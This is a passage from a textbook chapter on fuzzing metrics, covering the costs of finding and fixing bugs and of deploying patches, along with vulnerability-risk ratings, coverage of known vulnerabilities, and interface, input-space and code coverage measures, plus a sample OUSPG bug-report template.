should inte- grate easily with existing test execution frameworks (test controllers) and test subject monitoring tools (instrumentation mechanisms). But it is understandable that those integration interfaces do not apply to 100% of the users, especially when the test target is a proprietary embedded device. Therefore, actual integration can vary from plug-and-play to complex integration projects. Sometimes an internally built one-off proof-of-concept fuzzer is the best solu- tion for a security assessment. The total costs involved can be cheaper compared to commercial tools, but the results may not necessarily be the most effective. That is to say, a custom fuzzer may be significantly cheaper but miss a few bugs that may have been found by a commercial fuzzer. It really depends on the priorities of the project. When making your final decision on the fuzzer project, please remember the users of the fuzzers. Most of the commercial tools out there are ready to be used by the average QA person without any changes by the end users, whereas for other tools there will be almost always constant customization needs. The techniques used in fuzzers (and explained in later chapters) will influence the easiness of those changes for various future needs. From a test automation perspective, the actual usage of the tools varies, as we will explore in later chapters. Most commercial tools are ready to go in the test setup in that you can install them and immediately fire them up, giving them an IP to blast away at. From a QA perspective, you might want a few additional things to be at your disposal, and therefore, increase the cost of the test environment (test- bed), for example, instrumentation. Various tools can be used to catch the crashes or other suspicious failures. In fuzzing you need to do this in an automated fashion. Valgrind11 is an example analysis framework for the Linux platform, and PaiMei/Pydbg is a great example of this for the Windows platforms, as you can have the tested application crash, do its core dump, and then respawn the process to continue with your next test case. After you are finished with the test run, you 114 Fuzzing Metrics 11For more information on Valgrind, see http://valgrind.org will have an accurate picture of where the problems lie. Additional on-host instru- ments can monitor thread counts, file handle counts, and memory usage. The prob- lem with on-host instrumentation is supporting all possible embedded devices and both commercial and proprietary operating systems used in application platforms. Most development platforms offer such monitoring in their development environ- ments and through various debuggers. We will discuss this more in Chapter 6. 4.2.2 Cost of Remediation In addition to the cost of discovery, we also need to understand the cost of fixing each bug. After a software vulnerability is found, developers need to go back to the drawing board and fix the flaw. A flaw found during the design phase is less costly than a flaw found after the product has been launched. Various attempts at summa- rizing the economics of software defects indicate very similar results, and people only argue about the actual multipliers in the cost increase. Figure 4.2 gives one perspec- tive to the cost increases, based on various studies and especially those from NIST. A tool that automatically categorizes the findings during the discovery phase can reduce the cost of defect elimination. When the person conducting the tests can immediately see that 10 programming flaws cause the failures, he or she can then issue fewer reports for those in charge of the repairs. With a fuzzer that is based on semi-random inputs, you can potentially have 100,000 tests that find something suspicious. Analyzing all those problems will take more time than just analyzing ten identified and verified flaws. 4.2 Transition to Proactive Security 115 Figure 4.2 The increasing cost of repairing with estimates on the numbers of defects found, with relation to the development phase where discovered (based on NIST publications). Two categories of metrics can apply to the repair process: • Resources needed to fix the problems (required time from the development people): After the failures have been analyzed, the developers start their task in analyzing the bug reports and fixing the flaws. Although there rarely are any false positives with fuzzing, a common problem with the test results is that a large number of issues can be caused by a single flaw. • Time required to fix the found issues (delays to product launch): Adding more developers to the repair process does not necessarily reduce the total calendar days spent on repairing the found issues. 4.2.3 Cost of Security Compromises An important aspect of security is the assurance of service availability and software reliability. Reliability is measured by up-time and down-time and studies the reasons for the down-time, or outages. Down-time can be either planned or unplanned and can be due to change control or third-party involvement, or even an “act of god” such as an earthquake. Planned down-time can be due to regular maintenance such as deploying regularly released security updates or to scheduled activities related to upgrades and other housekeeping jobs. Security compromises are an example of unplanned events that are caused by a third party (an attacker), and they often lead to down-time of a device or a service. But security incidents are not the only reason for unplanned down-time of critical systems. Other unexpected outages include hardware failures, system failures, and natural disasters. As traditional metrics already exist for these purposes, they should be applied as metrics to security-related availability analysis. The metrics used by IT operations personnel study the efficiency of IT reliability, and these same metrics are applicable to the inability of software to withstand denial of service attacks. Useful metrics related to uptime include:12 • Measured up-time of software, host, or service (percent, hours) gives the avail- ability metric such as “five nines” 99.999% uptime. • Planned down-time (percent, time) is the total amount of time that resources were out of service due to regular maintenance. • Unplanned down-time (percent, hours) shows the total amount of time re- lated to unexpected service outages and represents the change control process variance. • Unplanned down-time due to security incidents (percent, hours) is often a subset of the above and indicates the result of security shortcomings. • Mean/median of unplanned outage (time) characterizes the seriousness of a typical unplanned outage, again with a special attention to those that are security related. • System revenue generation (cost per hour) shows the business value of the service or the system, e.g., loss of revenue per hour of down-time. 116 Fuzzing Metrics 12Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt. (pp. 68–71) Boston: Addison-Wesley. • Unplanned down-time impact (cost) quantifies foregone revenue due to the impact of incidents. • Mean time between failures (time) characterizes how long systems are typi- cally up between failures. • Loss of data (cost) fees associated with loss of data due to security breach. • Intangibles (cost) loss of business or credibility due to outages, especially those caused by security incidents. When such metrics are in place and monitored, the amount of down-time related to security incidents can create revealing insight into the value of software vulner- abilities. However, there is one problem with some of the above availability metrics from a security perspective. When a hidden security vulnerability exists in a system, the system can be shut down by anyone who knows the details of that vulnerabil- ity at any given time. Furthermore, the system can be kept down using repeated attacks. Typical availability metrics work best when incidents are not caused by humans. For example, all the above metrics are better suited for hardware-related failures. Still, these metrics are very useful because the people responsible for IT operations easily understand them. These metrics are highly valuable when the direct costs related to security incident needs to be explained to people who have not personally encountered a security incident, at least not yet. The cost can also be the actual value of the device or a service, which is very direct and concrete. For example, in cases in which security vulnerabilities are found and exploited in embedded devices, the system can become corrupt to a point that it cannot be repaired or it would require reprogramming by the manufacturer. The same applies when critical data is destroyed or leaked to the public. These types of mistakes can be impossible for the end user to repair. A commonly used metric for this purpose is ROSI (return on security investment). If investment in a fuzzer is less than the value (cost) of a security incident multiplied by the probability of an incident, the investment in fuzzing can be justified. 4.2.4 Cost of Patch Deployment Deploying changes to the system after failure creates additional direct and measur- able costs besides the direct costs caused by the incident itself. Some of these met- rics are directly related to the down-time metric in case the system requires third-party involvement to recover from the crash or failure. Such metrics provide additional information related to the maturity of the process of recovering the sys- tem back to running. These system recovery related metrics are:13 • Support response time (average time) indicates the time it takes from the out- age to the time of response from the responsible internal support personnel, or from the manufacturer or vendor of the failing component. • Mean time to recovery (time) characterizes how long it takes to recover from incidents once the repair activities are started. 4.2 Transition to Proactive Security 117 13Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt. (pp. 71–72). Boston: Addison-Wesley. • Elapsed time since last disaster recovery walk-through (time) shows the rela- tive readiness of disaster recovery programs. Although this metric can be adequate for an enterprise user, it does not provide enough details on what happens behind the scenes when the failure is repaired. Repairing a security mistake is almost never as easy as removing the failing compo- nent and replacing it with a functional component. Problems related to the recov- ery metrics from the software security perspective are related to the complexity of the security updates and the readiness of the entity responsible for software devel- opment to dedicate resources for creating such security update. The problem can- not be fixed by the IT staff if there is no update or patch available to deploy. In our research we have seen everything from a matter of hours up to more than a year of response time from the discovery of a new security flaw into releasing an update to correct the software. Unfortunately, in many cases, without public disclosure of the vulnerability details, or without an incident related to that specific security flaw, a vendor might not be motivated enough to develop and release these critical updates to its software. This is apparent from the metrics available from the OUSPG disclo- sure process shown in Figure 4.3.14 The OUSPG research team noted time frames from a matter of days up to several years from the disclosure of the issue to the manufacturer to the release of an update. On the other hand, if the flaw was re- ported publicly (public disclosure), it was typically fixed in matter of few hours up to few weeks. Change control and configuration management are critical components of any effective security program. These define the process for managing and monitoring changes to the configuration of the operational environment. Clear separation of duties in relation to updating and configuring the system and strong access control for making those critical changes are needed. No change should happen without a process, and all changes should be clearly tracked. These preparations will enable the use of metrics related to change control:15 • Number of changes per period (number) measures the amount of periodic change made to the production environment. • Change control exemptions per period (number, percentage) shows how often special exceptions are made for rushing through changes. • Change control violations per period (number, percentage) shows how often change control rules are willfully violated or ignored. From a security perspective, special attention is paid to deploying security updates, patches, workarounds, and other configuration changes related to secu- rity. To be prepared for the abovementioned exemptions, and even violations in cases of a crisis, are critical when a critical security update needs to be deployed in 118 Fuzzing Metrics 14M. Laakso, A. Takanen, J. Röning. “The Vulnerability Process: A Tiger Team Approach to Resolving Vulnerability Cases.” In Proceedings of the 11th FIRST Conference on Computer Secu- rity Incident Handling and Response. Brisbane, Australia. June 13–18, 1999. 15Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt. (pp. 72–73). Boston: Addison-Wesley. a matter of hours from its issuance by the relevant vendor. A strict environment that is not ready for immediate updating can be vulnerable to attacks until these protective measures are in place. Regression testing, or patch verification, is a critical metrics for patch develop- ment and deployment. Fuzzing needs to be repeatable. This is why most fuzzing tools pay significant attention to the repeatability of each test. An important aspect of testing in QA is being able to perform regression tests to ensure you are not caus- ing new bugs because of issuing fixes to old problems. A pseudo-random fuzzer does a great job of this by providing a seed value when you initiate fuzz testing. Other fuzzers use or create static test cases that can be used for regression tests. Note that the repeatability with random testing needs to take into account the changes in the tested interface. Communication interfaces are constantly updated as new protocol specifications emerge. A traditional random fuzzer typically takes two 4.2 Transition to Proactive Security 119 Figure 4.3 Disclosure process and milestones used in disclosure metrics. seeds: the data seed (e.g., a network capture) and the seed for the randomization process. If either one of these changes, you will have a different set of tests on your hands, and you cannot thoroughly verify the vendor-issued patch with the new modified test setup. In model-based testing, these two seeds are not needed, but instead the tests are built from an interface specification. The generated tests remain the same, until an eventual change in the used protocol specification will necessitate a change in the tests produced by model-based fuzzing test tool. 4.3 Defect Metrics and Security Measuring the security of software-based solutions is a difficult task, because secu- rity is a hidden property only visible when individual vulnerabilities are uncovered. Through different vulnerability assessment methodologies and testing techniques, we are able to get some visibility into the true security of a product or a service. The challenging part is turning those results into something measurable. We can apply some selected metrics from the quality assurance side or from the security field to summarize our findings into something that is easier to grasp even by someone who does not understand the technology that well. Fortunately, some methods of fuzzing, and especially robustness testing, are very useful techniques in providing more insight in this type of measurement. Interestingly, the same metrics can also be used to assess the efficiency of the testing technique itself. To understand this better, let us first have a look at some useful metrics in software security. The first challenge we encounter is how to define the software or the system being assessed. The simplest metrics we need to collect are related to the software itself and are drawn from white-box tools. These techniques are based on the source code and include metrics such as the number of lines of code, branches, modules, and other measurable units. The software also needs to interact with the outer world to be useful, and therefore, looking at the software from a black-box per- spective gives us a new set of metrics. These include available services, open net- work ports or sockets, wireless interfaces, and user interfaces. The term attack surface has been used to indicate the subset of the complete application that can be accessed by attackers. Several different metrics are used to define attack surfaces. From the top down, a network-topology-based attack sur- face can identify which networked computers are susceptible to attacks by non- trusted parties such as local users or by anyone with access to the Internet. When the hosts have been identified, the analysis can be extended to the network services on those hosts that are accessible from the open network or through other remote or local interfaces. Finally, various code coverage metrics can be used against each identified service for studying which part of the exposed applications can be accessed through those interfaces. Measuring the attack surface of an individual piece of software is similar to measuring the code coverage of a black-box test, although there are challenges in simulating the code into revealing all possible paths that it can take during normal use. But, in short, an attack surface indicates which portions of the code an attacker can potentially misuse, namely all code that can be accessed through various local or remote interfaces, and which is executed during the tests. 120 Fuzzing Metrics Various metrics related to known defects are commonly used in both QA and VA. In QA, the track record of known issues gives an indication of the overall qual- ity while regression testing is used to verify that those flaws are not reintroduced into the software. In network or host security auditing, vulnerability scanners can be used to verify that all known issues are resolved from the deployed systems. Defect counting can be based on either externally or internally found defects. Although software developers can see both metrics, end users such as enterprises and system integrators often have to rely on the publicly known defects only, unless they have a good service agreement with vendors and can access such defect met- rics from their suppliers. Without a database of publicly known vulnerabilities, an enterprise often contracts a third-party security auditor to conduct an assessment and to estimate an assurance level for the product. The details of such an assessment would most probably be internal to the contractor, but the reports that result from it can give an estimate of the number of vulnerabilities that a potential attacker without prior knowledge on the system might find. We will now walk through some of these metrics in more detail, with a focus on how they can be used to assess the efficiency of the fuzzer itself, and as a result, the efficiency of the test and the resulting tested system. 4.3.1 Coverage of Previous Vulnerabilities Perhaps the most media-attractive metric of security is based on publicly known security mistakes. A piece of software that makes the headlines on a weekly basis is often perceived as less secure than another piece of software with less-known flaws. Although often used, this is not a very good metric for security, since the existence of more known vulnerabilities in one product can result simply from its popularity and from how many researchers are looking for problems in it at any given time. But is this a useful metric in relation to fuzzers? When various past security inci- dents are analyzed, today we can quite often see that more and more of them are actually found using automated security test tools such as fuzzers. Various security consultants also find some of these flaws in their proprietary and typically nonau- tomated techniques. Metrics based on the coverage of previously known vulnerabilities are very sim- ilar to the metrics related to regression testing in the QA field and similar to the assessment of the efficiency of vulnerability scanners. The same metric can be argued to apply as a metric for software security, but that can be easily countered by a sim- ple comparison of a widely used web server and a small internally used web server. If the widely used web server has hundreds of known security issues and the pro- prietary web server has none, the result of such a comparison would indicate that the proprietary web server is more secure. This is not necessarily true. To really assess the security of the proprietary web server, one should apply all the same secu- rity tests that were used to the widely used server, and based on those test results, try to come to a security verdict. Fuzzers are probably the first available tools that can create such a metric. And the same metric can be used to assess the efficiency of the fuzzer itself. Some people think that fuzzing can only find certain types of vulnerabilities— i.e., relatively simple memory corruption bugs. This again is not true. You can ana- 4.3 Defect Metrics and Security 121 lyze this by looking at past vulnerabilities and thinking about how to trigger those vulnerabilities with black-box testing tools. The steps to conduct such an analysis include the following phases: 1. Take any communication interface and find all known vulnerabilities that have been reported in any implementations of it. 2. For each found known issue, find out what the exact input (packet, mes- sage sequence, field inside a file format) that triggers it. 3. For each known issue, identify how the problem could be detected by mon- itoring the target system if the trigger was sent to it. 4. Map these triggers to the test coverage of black-box testing tools such as fuzzers. The results of such a comparison can be challenging to analyze. Certainly, some fuzzing tools will catch different flaws better than others. Purely random fuzzers would only catch simple flaws, and more intelligent fuzzers should catch most of the flaws in such a study. Unfortunately, no matter what fuzzing approach you use, mapping the generated test cases to known vulnerabilities is a tedious task, and that is why most fuzzers have separated these two testing goals. A test for known vul- nerabilities, whether those tests are integrated into a fuzzer, is very similar to tradi- tional vulnerability scanning used in Nessus, for example. One approach that fuzzers take to cover most of the security issues is to actu- ally walk through all possible values in a specific protocol. If, for example, a non- printable character in front of a long overflowing text string disturbs an ASCII-based protocol, a fuzzer would systematically (or randomly) attempt all of the known characters (0x00-0xFF) in conjunction with that string. Fuzzers have used this sim- ple approach since at least 1999. This group of tests will then contain a number of known vulnerabilities in unrelated implementations of the same communication interface. For example, if we take a test group called “SIP Method” in the PROTOS c07-sip test suite,16 we can see that the test group contains 193 test cases that test various elements inside the SIP Method part of the protocol. The test group has found tens of different flaws in various products, but does not attempt to identify individual test cases for each of those flaws. The entire group should be used for regression testing instead of one single test case. Optimizing tests in fuzzing requires understanding of the actual flaws behind the vulnerability. Instead of adding more brute force or randomness, we need to study if someone has actually looked at the bug to see what caused this behavior. For example, let us assume a bug is triggered by a special character such as comma “,” inside or at the beginning of a string. Understanding if the programmer used some comma-separated lists internally will help to optimize such tests. Or maybe a proprietary pattern matching algorithm triggered the bug? Would "a,"<overflow> also cause the bug? Should we also test for <overflow>","<overflow> and <over- flow>",a" and <overflow>","? Should we also try other delimiters? The challenge in stating that a fuzzer fully covers a vulnerability is that there is no clear definition of covering a vulnerability. There are always variants to each bug. One of the pur- 122 Fuzzing Metrics 16www.ee.oulu.fi/research/ouspg/protos/testing/c07/sip/index.html poses for known vulnerability coverage is to assess if that and similar flaws are tested for. Another purpose is to really assess that the vulnerability was truly fixed. Let us look at this from another point of view: security scanners. There are two types of security scanners: aggressive and passive. An aggressive security scanner will send the actual “exploits” to the system under test. For aggressive security scanners, you would only need one single test case to cover a known vulnerability. If the vulnerability exists, the system will crash or execute a harmless payload script. Note that most commercial vulnerability scanners are passive tools so that they do not disturb the system under test. They do not actually test for the vulnerability at all, but only passively check the version of the software under test and make the ver- dict based on the response to that passive request. Passive scanning is mandatory for most vulnerability scanners because such a test will not result in the crash of the actual service. This type of passive test would be unacceptable for a fuzzer and would defeat the purpose of fuzzing. Known vulnerability metrics can be argued to be meaningless for fuzzers. But still, for those fuzzers that do such comparison, there are several levels of coverage against known vulnerabilities: 0 Not covered or passive check. 1 Covered with single test case (aggressive vulnerability scanner behavior). 2 Covered with a range of optimized tests (e.g., a subset of all commonly used delimiter characters). 3 Covered with a full range of inputs (e.g., going through all byte values for a 16-bit, 32-bit, or 64-bit memory address). It is important to note that, although a fuzzer could reach a high ranking based on a metric against known vulnerabilities, it can still miss a lot of problems in areas that have not been tested by anyone before. For example, countless people have fuzzed the most common HTTP implementations (such as the Apache web server) using all available tools. This does not necessarily mean that Apache is free of bugs. Although the tolerance to most fuzzers is higher, people still manage to find issues in such products with new fuzzer tools. There is no such thing as vulnerability-free software. All software fails with fuzzing. It just depends on the quality of your fuzzer and if you find the new categories of problems before someone else finds them. That is the first reason why metrics based on known vulnerabilities do not work for fuzzers. Another challenge is that today many security companies are completely against any public disclosure of vulnerabilities in their customers’ products. Most probably, the product vendors will never disclose any of the problems they find internally either. That is the second reason why this metric is not very suitable for fuzzers: Known vulnerabilities do not reflect the true vulnerabilities in any given product. As a summary, security can again be divided into proactive testing and reactive testing, and metrics related to known vulnerabilities only apply to reactive security. A vulnerability scanner such as Nessus is always reactive—i.e., it tests for known issues. Vulnerability scanners have their place in network auditing, but not as a zero- day detection device. These tools are based on a library of attacks or fingerprints, and they will verify that those exact attacks are secured against. Unfortunately, if security 4.3 Defect Metrics and Security 123 testing is performed using reactive tools, it means that the first variant of that attack will again pass through the security perimeter. For example, suppose an IPS is pro- tecting a web server that crashes when a string of 1,000 A’s is sent. If the IPS filter algorithm were just looking for 1,000 A’s, 1,000 B’s would avoid the filter and crash the web server via the same memory corruption attack vector (in this case a standard and contrived buffer overflow). Likely, the IPS filtering method will be more complex and will clip the request at a certain number of bytes as opposed to the value of those bytes. But the point is still made; clever attackers can sometimes bypass filters. IPS systems need to be tested as much as any other system, but the focus might be less on memory corruption and more on functionality in this case since proper function helps ensure the security of protected systems. That is why proactive tools like smart fuzzers will test the interface more systematically. In the earlier example, a fuzzer would always have a large set of tests for the browser name, as different web-based products and applications will crash with different length strings. The firewall has to be tested with the entire suite of tests for any meaningful results. 4.3.2 Expected Defect Count Metrics Defect count metrics depend on where in the development cycle the testing is per- formed. Fuzzers that are developed in-house and unleashed on a beta release will most likely find an enormous number of bugs. On the other hand, fuzzing a mature product such as Apache or the Microsoft IIS web server today will likely yield none. One estimation metric for found defects is based on the past history of a fuzzer. Expected defect count is based on the number of tests that are executed and the probability of each test finding a defect. Expected number bugs = Number of tests * Probability of finding a defect per test The quality of tests is affected by several factors: 1. What is the “model” built from (traffic capture, specification)? 2. How is the “intelligence” built in (attack heuristics, secure programming practices)? After a thorough test execution, comparing two fuzzers is easy. If one fuzzer finds 10 times more flaws than the other, and the first fuzzer will cover all the flaws the second fuzzer found, then the first fuzzer has a higher defect count. But is the same defect count applicable when a different piece of software is being tested? Looking at past experiences, it seems that randomness in a fuzzer can increase the probability of finding flaws such as null pointers dereferences. On the other hand, an intelligent fuzzer can easily be taught to find these same flaws if the inputs that trigger these flaws are found. Another aspect is related to the various definitions for a defect. Whereas a secu- rity expert is interested in verifying the level of exploitability of a found defect, a financial corporation or a telecom service provider or a carrier will see a DoS attack 124 Fuzzing Metrics as the worst possible failure category. It is understandable that hackers are inter- ested in exploits, whereas other users of fuzzers are interested in any flaws resulting in critical failures. This is one of the main differences in quality assurance and vul- nerability analysis: Developers need to find all reliability issues, while attackers only need to find one that enables them to execute remote code on the target system. 4.3.3 Vulnerability Risk Metrics The risks that software is exposed to can be assessed by each vulnerability that is found with fuzzers or other security testing practices. A number of such categoriza- tions exist, but they share a lot of common metrics, such as • Criticality rating (numeric value): Metric for prioritizing vulnerabilities. • Business impact (high/medium/low, mapped to a numeric value): Estimates the risk or damage to assets. • Exploitability: Type of, easiness of, or possibility for exploiting the vul- nerability. • Category of the compromise: Various vulnerability categories and the related exposure through successful exploitation: confidentiality, integrity, availabil- ity, total compromise. • Interface: Remote or local, or further details such as identifying the used attack vector or communication protocol. • Prerequisites: What is needed for exploitation to succeed; for example, is there a requirement for successful authentication? The most abused metric for vulnerabilities is often the criticality rating, as there is a tendency to only focus on fixing the vulnerabilities with highest rating. A defect that is a remotely exploitable availability problem (i.e., open to denial of service [DoS] attacks) can be easily ignored by an enterprise if is labeled with medium impact. The attack may be initially labeled as a DoS due to the difficulty of creat- ing a code-executing exploit or because the flaw is in a noncritical service. How- ever, after the flaw has been made public, a better hacker could spend the time needed to write an operational exploit for it and compromise enterprise networks using that flaw. The criticality rating is often calculated as a factor of the business impact and the metric for exploitability, as shown below. It is very difficult to cal- culate the criticality rating for vulnerabilities without knowing the context in which the software is used. Criticality rating = Business impact * Exploitability Business impact can indicate the direct financial impact if the flaw is exploited in customer premises, or it can indicate the costs related to fixing the flaw if the problem is found in development environment. Only a domain expert in the busi- ness area can usually rate the business impact of a specific vulnerability. The exploitability rating indicates how easy it is to develop a raw bug into a working exploit. This variable is extremely hard to estimate as the field of exploit development is not well documented. Many famous examples exist of vulnerabilities 4.3 Defect Metrics and Security 125 that are declared unexploitable but then someone manages to exploit them!17 Fur- thermore, the exploitability rating can change as new techniques in exploit devel- opment become available. The category of the compromise is the most discussed metric for security vulner- abilities. The simplest categorization can consist of the resulting failure mode, leaving little interpretation to the reader. A successfully exploited vulnerability can often com- promise one or several of the security requirements, such as confidentiality, integrity, and availability. A vulnerability that results in leaking of information violates the con- fidentiality requirement. Integrity-related vulnerabilities result in alteration of data. Availability-related vulnerabilities result in denial of service. Often, such as in the case of buffer overflow problems, the compromise is “total,” meaning the entire system is in the attacker’s control through execution of remote code on the victim’s system. The interface exposed through the vulnerability can be either remote or local. Local programming interfaces (API), command line interface (CLI), and the graph- ical user interface (GUI) can be thought as local interfaces. Remote interfaces are often related to a specific communication protocol such as HTTP. Remote inter- faces can also act as a transport. For example, picture formats such as GIF or TIFF can use a network protocol as the attack vector. HTTP and SIP are also examples of application protocols—i.e., various web or VoIP services can be running on top of those protocols. In real life, the division to remote and local interfaces has become less significant because almost every local interface can also be exploited remotely through launching command line utilities or API functions through, for example, web browsers or MIME-enabled applications. Prerequisites limit the exploitability of the vulnerability. For example, a vulner- ability found in the later messages in a complex SSH authentication process might require successful authentication of a user in the system to be exploited. A local vul- nerability in an application such as a picture viewer might only be exploitable with the presence of a specific version or configuration. Vulnerability risk metrics are an extremely useful tool for communicating the found vulnerabilities in the bug reporting process. They can be used by both the reporters to explain the importance of the found issues and by the repairers of the problems in their own bug tracking records. Below is an example taken from a bug report template from OUSPG:18 3. Suspected Impact and Vulnerability Type 3.1. Exploitability: [ ] Local - by users with local accounts [ ] Remote - over the network without an existing local account 3.2. Compromise: [ ] Total compromise of a privileged account UID: <DESC> [ ] Total compromise of an unprivileged account UID: <DESC> 126 Fuzzing Metrics 17www.securityfocus.com/news/493 18M. Laakso, A. Takanen, J. Röning. “The Vulnerability Process: A Tiger Team Approach to Resolving Vulnerability Cases.” In Proceedings of the 11th FIRST Conference on Computer Secu- rity Incident Handling and Response. Brisbane, Australia. June 13–18, 1999. If not a total compromise, please specify: [ ] Confidentiality [ ] Integrity [ ] Availability (Denial of Service) 3.3. Timing: [ ] Exploitable at any time [ ] Exploitable under specific conditions: <DESC> 3.4. Vulnerability Category: [ ] Buffer overflow [ ] File manipulation [ ] Ability to create user-modifiable arbitrary files [ ] Ability to create unmodifiable arbitrary files [ ] Ability to truncate or remove arbitrary files [ ] Ability to change owner of arbitrary dirs or files [ ] Ability to change protection modes of arbitrary dirs or files [ ] Other: <DESC> [ ] Execution [ ] Exploitation involves a time window of the race condition type [ ] Other: <DESC> 3.5. Comment on impact: <DESC> 4.3.4 Interface Coverage Metrics The coverage metric for interfaces consists of enumerating the protocols that the fuzzer can support. Fuzzing (or any type of black-box testing) is possible for any interfaces, whether they are APIs, network protocols, wireless stacks, command line, GUI, files, return values, and so on. In 2006, fuzzers existed for more than 100 different protocol interfaces. Fuzzing an IMS system will require a different set of protocols than fuzzing a mobile phone. Interfaces are defined with various tools and languages. The variety of descrip- tion languages used in protocol specifications creates a challenge for fuzzers to sup- port them all. Creating any new proprietary fuzzing description languages poses a tedious task. What description language should we use for describing the interfaces to enable anyone to fuzz them? Some protocol fuzzers have decided to use the def- inition languages used by the standardization organizations such as IETF and 3GPP. The most common definition languages are BNF or its variants for both binary and text-based protocols, XML for text-based protocols, and TTCN and ASN.1 for binary protocols. For traffic mutation-based fuzzers, it might be benefi- cial to collect coverage data from a wide variety of complex protocol use cases. 4.3.5 Input Space Coverage Metrics The actual coverage inside the selected interface definition or against a protocol specification is a critical metric for fuzzer quality. This is because there is no stan- dardized formula or setup for fuzzing. A wide range of variables apply to the test 4.3 Defect Metrics and Security 127 quality, especially if we are talking outside of just simple web application fuzzing and looking at more complex low-level protocol fuzzing. Even a smart gray-box fuzzer could take weeks to find “all” the vulnerabilities, and a set time frame just leaves room for error. The input space coverage will help in understanding what was tested and what was not. Because the input space is always infinite, it will always take an infinite time to find all flaws. Optimizing (i.e., adding intelligence) will find more flaws earlier, but can still never ensure that “all” flaws have been found. This would not be true, of course, for protocols that have a “physical” limit such as UDP packet size with no fragmentation options. Only then you will have a physical limit that will cover “all” tests for that single packet. But that would be a LOT of tests. Even then, the internal state of the SUT will influence the possibility of finding some of the flaws. The input space metric explodes when combinations of anomalies are consid- ered. There are known security related flaws that require combination of two or three anomalies in the message for the attack to succeed. Sometimes those anom- alies are in two different messages that need to be sent in a specific order to the sys- tem under test. One approach to avoid the infinity of tests is to do the tests systematically. A carefully selected subset of tests applied across the entire protocol specification will reach good input space coverage when measured against the specification, but will not have good input space coverage for each data unit inside the protocol. It is pos- sible to have both approaches combined, with some random testing and a good set of smart robustness testing in one fuzzer. All different techniques for fuzzing can coexist because they have different qualities from the input space coverage perspec- tive. There is a place for both random testing (fuzzing) and systematic testing (robustness testing). In short, the input space is always infinite. Protocols travel in a pipe that has no limits on the upper boundary of the packet sizes. Whereas infinity is challenging in physics, the bits in the attack packets can be created infinitely, and they do not take physical storage space like they would in, for example, file fuzzing. You might think input space is finite, like the way Bill thought we never need more than 640k of memory (well, he did not really say it, but it’s a great urban myth anyway), but in reality we can see this is not the case. If a protocol specification says that: <protocol> = <data> <data> = 1..256 * <16bit-integer> How many tests would we need? Fuzzing this (and not forgetting to break the specification in the process) will require an infinity of tests, provided we do not have any other limitations. Is 2^16+1 a long enough stream to inject? Is 16GB too much to try? What about if we send even more? Where should we stop? But as you said, it might not be sensible to go that far, but what if it will crash with one more additional byte of data? Or two more? Why set upper limits to fuzzing data? The input space is always infinite. Even if the protocol specification of a one-byte mes- sage is simple like: 128 Fuzzing Metrics <message> = "A" or "B" You should definitely try all possible octets besides “A” and “B”, resulting in 256 tests. You should also try all of those in all possible encoding formats, and with that the input space is already getting quite large. And by adding repetitions of those inputs, the input space becomes infinite as there is no upper bound for repe- tition, unless an upper bound is defined by lower level protocol such as UDP. With some protocols in some specific use scenarios, you can potentially meas- ure the maximum size of input space. You can potentially map the upper bounds by, for example, increasing the message size until the server side refuses any more data and closes the connection (it may still have crashed in the process). Any test with bigger messages would not add to the test coverage. Another aspect of input space is created by dynamic (stateful) protocols. What if a flaw can be triggered by a combination of two different packets? Or three? The message flows will also increase the input space. A key question with any infinite input space is: Does randomness add to the value of the tests? When speaking about systematic vs. random (nonsystematic), we need to understand what “randomness” actually means. The quality of the random- ness will have some impact to the resulting input space coverage. Let’s look at two widely used “algorithms.” These are not true algorithms, but can be used as exam- ples assuming someone wants to start building a library of fuzzing or test genera- tion methodologies: “2^x, +-1, +-2, ...” is systematic test generation “2^x + rand()” is not systematic, even if you have control on the used seed use for the random number generation. Note that “bit-flipping” can also be both random or systematic because you do not know the “purpose” of each test. There are dozens of articles on random test- ing and white-noise testing, the related problems, and where it makes sense and where it does not. We will explore this later in relation to random fuzzing. While fuzzers do not have to bother with conformance testing, they still often have to build their negative fuzz tests based on any available RFCs or other relevant specifications. A solid fuzzer or robustness tester is based on specifications, while breaking those very same specifications at every turn. The more specifications a fuzzer covers, the better input space coverage it will have, and the more flaws it will find. There are two branches of negative testing: 1. Fuzzing starts from infinite and tries to learn intelligence in structures. 2. Robustness testing starts from finite and tries to add intelligence in data inputs. After some development, both will result in better tests in the end, merging into one semi-random approach with a lot of intelligence on interface specifications and real-life vulnerability knowledge. The optimum approach is probably somewhere in the middle of the two approaches. For some reason, security people start with the first approach (perhaps because it is easiest for finding one single problem quickly). 4.3 Defect Metrics and Security 129 QA people often prefer the second approach because it fits better to the existing QA processes, whose purpose is to find “all” flaws. In our opinion, the famous Tur- ing problem applies to approach number one more than to approach number two. Fuzzers should definitely also do combinations of anomalies in different areas of the protocol for good input space coverage. This is where random testing can bring huge value over systematic robustness testing. If you stick to simple anomalies in single fields in the protocol specifications, why use random fuzzing at all? It is much more effective to build systematic tests that walk through all elements in the protocol with a simple set of anomalies. 4.3.6 Code Coverage Metrics Code-based reviews, whether manual or automated, have been used for two decades and can be built into compilers and software development environments. Several terms and metrics can be learned from that practice, and we will next go through them briefly. Code security metrics that we will examine are • Code volume (in KLOC = Thousand Lines of Code) shows the aggregate size of the software; • Cyclomatic complexity shows the relative complexity of developed code; • Defect density (or vulnerability density) characterizes the incidence rate of security defects in developed code; • Known vulnerability density characterizes the incidence rate of security defects in developed code, taking into account the seriousness (exploitability) of flaws; • Tool soundness estimates the degree of error intrinsic to code analysis tools. One of the most common code volume metrics is “lines of code” (LOC), or “thousands of lines of code” (KLOC). Although it appears to be a very concrete metric, the code volume is still not unambiguous and perfect. However, LOC is still less subjective than most other code volume metrics such as those based on use cases or other metrics that are used to estimate the code size during requirements or design. Code volume can be measured at different layers of abstraction, but it most typically is measured from the abstraction layer of the handwritten or generated high-level programming languages. Therefore, the programming style and the pro- gramming practices used will affect the resulting metric for the amount of code. As a better alternative to counting lines of code, some coding style checking tools, pro- filers, and code auditing tools will measure the number of statements in the project. McCabe’s metric for cyclomatic complexity provides one useful estimate for the complexity of the code. This and several other metrics are based on the number of branches and loops in the software flow. The most valuable metric for fuzzing comes from being able to assess the ratio of what was tested against the total avail- able. Understanding the limitations of chosen metrics is important. We will come back to this topic later in the chapter. The next metric we will discuss is defect density. The number of defects that are found via a code audit can vary significantly based on the tools that are used and the individuals conducting the assessment. This is because people and tools can only 130 Fuzzing Metrics catch those bugs that they can recognize as defects. A security flaw in the code is not always easily identified. The 